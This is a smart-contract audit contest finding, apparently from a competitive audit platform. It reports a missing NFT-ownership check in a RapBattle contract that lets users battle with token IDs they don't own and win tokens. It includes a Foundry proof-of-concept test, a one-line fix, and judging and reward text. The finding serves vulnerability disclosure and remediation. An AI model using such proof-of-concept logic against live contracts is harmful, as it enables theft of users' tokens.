Submission Details
Severity:
All users without a 'oneShot' NFT can join battles and redeem tokens
Summary
In 'RapBattle__goOnStageOrBattle' function, all the users without a 'oneShot' NFT can join the battle and maybe win tokens, because they may interact with the function passing a non existent 'tokenId'.
PoC
Run this Foundry test:
function test_goOnStageOrBattle_UserWithoutATokenIdCanBattleAndMaybeWin(uint256 battlesWon) public {
vm.startPrank(owner); //owner set the streets contract in the credToken and oneShotContract
credToken.setStreetsContract(address(streetsContract));
oneShotContract.setStreetsContract(address(streetsContract));
vm.stopPrank();
address randomUser = address(23611221); //In this block, a first user became the 'defender'
vm.startPrank(randomUser);
oneShotContract.mintRapper();
oneShotContract.approve(address(streetsContract), 0);
streetsContract.stake(0);
vm.warp(block.timestamp + 88600);
streetsContract.unstake(0);
credToken.approve(address(rapBattleContract), 1);
oneShotContract.approve(address(rapBattleContract), 0);
rapBattleContract.goOnStageOrBattle(0, 1);
vm.stopPrank();
address randomUser2 = address(236112);
vm.startPrank(randomUser2);
rapBattleContract.goOnStageOrBattle(1, 1); //a casual user without neither 1 'oneShot' nft can battle and maybe win
}
Impact
Also people without an NFT can win the battle and get tokens "for free"
Tools Used
Manual Review, Foundry
Recommendations
Add line of code that checks if the 'msg.sender' is the right owner of the 'tokenId' in the '_battle' function:
function _battle(uint256 _tokenId, uint256 _credBet) internal {
require(oneShotNft.ownerOf(_tokenId) == msg.sender, "Not the Owner");
//The rest of this function....
Updates
Lead Judging Commences
inallhonesty over 1 year ago
Submission Judgement Published Assigned finding tags:
Challenger can use any nft to battle - not necessarily theirs
Rewards breakdown
nSLOC
201This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.